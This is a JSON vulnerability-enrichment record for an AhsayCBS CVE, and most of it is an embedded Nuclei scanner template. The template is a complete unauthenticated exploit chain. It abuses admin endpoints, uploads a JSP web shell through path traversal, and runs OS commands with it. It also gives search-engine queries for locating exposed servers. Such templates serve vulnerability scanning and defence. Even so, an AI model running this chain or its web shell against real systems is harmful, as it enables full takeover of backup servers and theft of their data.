{ "_links": { "capec": { "href": "/api/v1/vulnerability/cve-2026-105134/capec" }, "cvss": { "href": "/api/v1/vulnerability/cve-2026-105134/cvss" }, "cwe": { "href": "/api/v1/vulnerability/cve-2026-105134/cwe" }, "enrichment": { "href": "/api/v1/vulnerability/cve-2026-105134/enrichment" }, "gcve": { "href": "/api/v1/vulnerability/cve-2026-105134/gcve" }, "self": { "href": "/api/v1/vulnerability/cve-2026-105134/enrichment" }, "sightings": { "href": "/api/v1/sightings/cve-2026-105134" }, "vulnerability": { "href": "/api/v1/vulnerability/cve-2026-105134" } }, "enrichments": { "cisa-kev": { "kev": true }, "epss": { "epss": 0.81763, "kev": true, "percentile": 0.99645 }, "nuclei": { "nuclei": true, "nuclei_template": "http/cves/2026/CVE-2026-105134.yaml", "nuclei_template_severity": "critical", "nuclei_template_yaml": "id: CVE-2026-105134\n\ninfo:\n name: AhsayCBS <= 10.3.4 - Unauthenticated RCE\n author: 0x_Akoko\n severity: critical\n description: |\n Ahsay AhsayCBS <= 10.3.2 contains a command injection caused by manipulation of the \\\"random\\\" argument in /rps/api/json/UpdateReceivers.do of Replication Receiver, letting remote attackers execute OS commands, exploit requires crafted request\n impact: |\n Remote attackers can execute arbitrary OS commands, potentially leading to full system compromise.\n remediation: |\n Upgrade to version 10.3.4.\n reference:\n - https://horizon3.ai/attack-research/attack-blogs/ahsaycbs-cve-2026-105133-cve-2026-105134-technical-analysis/\n - https://nvd.nist.gov/vuln/detail/CVE-2026-105134\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n cvss-score: 10.0\n cve-id: CVE-2026-105134\n epss-score: 0.81763\n epss-percentile: 0.99646\n cwe-id: CWE-22\n metadata:\n verified: true\n max-request: 5\n vendor: ahsay\n product: ahsaycbs\n shodan-query: http.title:\"/cbs/Logon.do\"\n fofa-query: body=\"AhsayCBS\" || body=\"/cbs/Logon.do\"\n tags: cve,cve2026,ahsaycbs,rce,traversal,webshell,unauth,kev,intrusive,vkev\n\nvariables:\n recv_user: \"rps{{rand_text_alpha(8)}}\"\n recv_pass: \"{{rand_text_alpha(8)}}\"\n recv_dir: \"/usr/local/cbs/rpsrecv_{{rand_text_alpha(8)}}\"\n shell_name: \"neo{{rand_text_alpha(8)}}.jsp\"\n shell_secret: \"{{rand_text_alphanumeric(8)}}\"\n\nflow: |\n if (http(1) && http(2) && http(3)) {\n if (http(4)) {\n http(5);\n }\n }\n\nhttp:\n - raw:\n - |\n POST /obs/api/json/ListSystemUsers.do HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/json\n\n {\"FromServlet\":\"Y\",\"SysUser\":\"x\",\"SysPwd\":\"x\"}\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains(body, \"\\\"Status\\\":\\\"OK\\\"\")'\n condition: and\n internal: true\n\n - raw:\n - |\n POST /rps/api/json/ListReceiver.do HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/json\n\n {\"FromServlet\":\"Y\",\"SysUser\":\"x\",\"SysPwd\":\"x\"}\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n internal: true\n\n - raw:\n - |\n POST /rps/api/json/UpdateReceivers.do HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/json\n\n {\"FromServlet\":\"Y\",\"SysUser\":\"x\",\"SysPwd\":\"x\",\"Id\":0,\"ReplicationEnabled\":true,\"LoginName\":\"{{recv_user}}\",\"Password\":\"{{recv_pass}}\",\"Alias\":\"sys\",\"SystemHome\":\"{{recv_dir}}\",\"ObsVersion\":1,\"RestorePointInterval\":0,\"RetentionCustomizationPolicy\":0,\"CrcEnabled\":false,\"CrcHour\":0,\"CrcMinute\":0,\"V6ReplicationEnabled\":false,\"MigrateFromV6\":false,\"ListenHost\":\"\",\"ListenPort\":0}\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains(body, \"\\\"Status\\\":\\\"OK\\\"\")'\n condition: and\n internal: true\n\n - raw:\n - |\n PUT /rps/obs7/rpsfile/upload HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/octet-stream\n X-RSW-Request-0: {{base64(recv_user)}}\n X-RSW-Request-1: {{base64(recv_pass)}}\n X-RSW-Request-2: {{base64(\"../../webapps/rps\")}}\n X-RSW-Request-8: {{base64(\"0\")}}\n X-RSW-Request-11: {{base64(\"../../webapps/rps\")}}\n X-RSW-Request-12: {{base64(\"false\")}}\n X-RSW-Request-13: {{base64(\"false\")}}\n X-RSW-Request-14: {{base64(\"false\")}}\n X-RSW-custom-encode-path: {{base64(shell_name)}}\n X-RSW-custom-encode-size: {{base64(\"1024\")}}\n X-RSW-custom-encode-includeChecksum: {{base64(\"false\")}}\n X-RSW-custom-encode-includeLastModified: {{base64(\"false\")}}\n\n <%@ page import=\"java.io.*\"%><%if(!\"{{shell_secret}}\".equals(request.getParameter(\"auth\"))){response.sendError(404);return;}String c=request.getParameter(\"cmd\");if(c!=null){boolean w=System.getProperty(\"os.name\",\"\").toLowerCase().contains(\"win\");String[]cc=w?new String[]{\"cmd.exe\",\"/c\",c}:new String[]{\"/bin/sh\",\"-c\",c};Process p=Runtime.getRuntime().exec(cc);java.util.Scanner s=new java.util.Scanner(p.getInputStream()).useDelimiter(\"\\\\A\");out.print(\"NEOOUT:\");out.println(s.hasNext()?s.next():\"\");out.print(\":NEOEND\");}if(\"1\".equals(request.getParameter(\"rm\"))){try{new File(application.getRealPath(request.getServletPath())).delete();out.print(\"[self-removed]\");}catch(Exception e){out.print(\"[rm-error]\");}}%>\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200 || status_code == 201 || status_code == 204'\n internal: true\n\n - raw:\n - |\n GET /rps/{{shell_name}}?auth={{shell_secret}}&cmd=id HTTP/1.1\n Host: {{Hostname}}\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'regex(\"uid=\\\\d+\\\\([^)]+\\\\)\", body) || contains_any(tolower(body), \"root\", \"system\", \"nt authority\")'\n condition: and\n\n extractors:\n - type: regex\n group: 0\n regex:\n - 'uid=\\d+\\([^)]+\\)\\s+gid=\\d+\\([^)]+\\)'\n# digest: 4b0a00483046022100de6fc5de274cc29233ba89911474c3a9ebf4b035df6faf02c0b3876a8162f694022100dc2128b0fa1d513673e65b34d740091a4ff7d67580c6fb5fcc3ae546f92174a5:922c64590222798bb761d5b6d8e72950" } }, "vuln_id": "cve-2026-105134" }